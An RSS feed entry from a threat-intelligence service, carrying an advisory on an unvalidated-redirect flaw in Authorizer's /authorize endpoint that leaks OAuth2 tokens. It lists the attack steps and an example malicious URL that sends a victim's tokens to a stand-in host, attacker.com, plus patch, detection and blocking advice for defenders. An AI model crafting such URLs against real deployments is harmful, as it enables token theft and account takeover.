<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>Authorizer (&lt; 0.0.0-20260409051328-Bd3f5baf6d3d) - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/products/authorizer--0.0.0-20260409051328-bd3f5baf6d3d/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Fri, 10 Jul 2026 19:27:19 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/products/authorizer--0.0.0-20260409051328-bd3f5baf6d3d/feed.xml" rel="self" type="application/rss+xml"/><item><title>Authorizer Unvalidated Redirect Vulnerability Allows OAuth2 Token Theft</title><link>https://feed.craftedsignal.io/briefs/2026-07-authorizer-unvalidated-redirect/</link><pubDate>Fri, 10 Jul 2026 19:27:19 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-07-authorizer-unvalidated-redirect/</guid><description>An unvalidated redirect vulnerability, CVE-2026-54072, in the Authorizer `/authorize` endpoint allows an unauthenticated attacker to steal OAuth2 access, ID, and refresh tokens by crafting a malicious URL with an attacker-controlled `redirect_uri` to which the application redirects a logged-in user, exposing their tokens.</description><content:encoded><![CDATA[<p>A critical unvalidated redirect vulnerability (CVE-2026-54072) in the Authorizer platform allows attackers to steal sensitive OAuth2 tokens. This flaw affects Authorizer versions prior to <code>0.0.0-20260409051328-bd3f5baf6d3d</code>. An unauthenticated attacker can exploit this by first querying the publicly accessible <code>/graphql</code> endpoint to retrieve a valid <code>client_id</code>. They then craft a malicious URL targeting the <code>/authorize</code> endpoint, embedding an arbitrary, attacker-controlled <code>redirect_uri</code>. If a logged-in victim clicks this link, the Authorizer application performs a 302 redirect to the attacker's specified URL, appending the victim's <code>access_token</code>, <code>id_token</code>, and <code>refresh_token</code> as query parameters. This enables the attacker to intercept these tokens and impersonate the victim for the tokens' entire lifetime, bypassing authentication mechanisms. A partial fix was applied in v2.0.1 for other handlers, but the <code>/authorize</code> endpoint was overlooked.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker queries the public <code>/graphql</code> endpoint (e.g., <code>http://TARGET/graphql</code>) to obtain the <code>client_id</code> parameter, which is required for authorization requests.</li>
<li>The attacker crafts a malicious URL, including the obtained <code>client_id</code> and a controlled <code>redirect_uri</code> (e.g., <code>https://attacker.com/steal</code>), pointing to the vulnerable Authorizer <code>/authorize</code> endpoint.</li>
<li>The malicious URL (e.g., <code>http://TARGET/authorize?response_type=token&amp;client_id=...&amp;redirect_uri=https://attacker.com/steal</code>) is delivered to a logged-in victim, typically via social engineering.</li>
<li>When the victim clicks the malicious link, their browser sends an HTTP GET request to the Authorizer <code>/authorize</code> endpoint.</li>
<li>The Authorizer server, lacking proper validation for the <code>redirect_uri</code> parameter against <code>AllowedOrigins</code>, processes the request.</li>
<li>The server issues a 302 HTTP redirect response, appending the victim's <code>access_token</code>, <code>id_token</code>, and <code>refresh_token</code> as query parameters to the attacker-controlled <code>redirect_uri</code>.</li>
<li>The victim's browser automatically follows the redirect, sending the sensitive tokens to the attacker's server.</li>
<li>The attacker receives and logs the tokens, gaining unauthorized access to the victim's account and the ability to impersonate them.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation of CVE-2026-54072 results in the complete compromise of a victim's OAuth2 tokens, including <code>access_token</code>, <code>id_token</code>, and <code>refresh_token</code>. An attacker can then use these stolen tokens to impersonate the victim and access resources or perform actions on their behalf for the full duration of the token's validity, without any further user interaction beyond the initial click. While the specific number of victims or targeted sectors is not disclosed, any organization using affected versions of Authorizer is at risk of account takeover and unauthorized data access.</p>
<h2 id="recommendation">Recommendation</h2>
<ul>
<li>Patch CVE-2026-54072 immediately by updating Authorizer to a patched version (newer than <code>0.0.0-20260409051328-bd3f5baf6d3d</code>).</li>
<li>Deploy the Sigma rule &quot;Detects CVE-2026-54072 Exploitation - Malicious redirect_uri in Authorizer /authorize Endpoint&quot; to your SIEM to detect attempts at exploiting this vulnerability.</li>
<li>Block <code>attacker.com</code> at your network perimeter, including DNS resolvers and web proxies.</li>
</ul>
]]></content:encoded><category domain="severity">critical</category><category domain="type">advisory</category><category>oauth</category><category>vulnerability</category><category>redirect</category><category>token-theft</category><category>web</category><category>ghsa</category></item></channel></rss>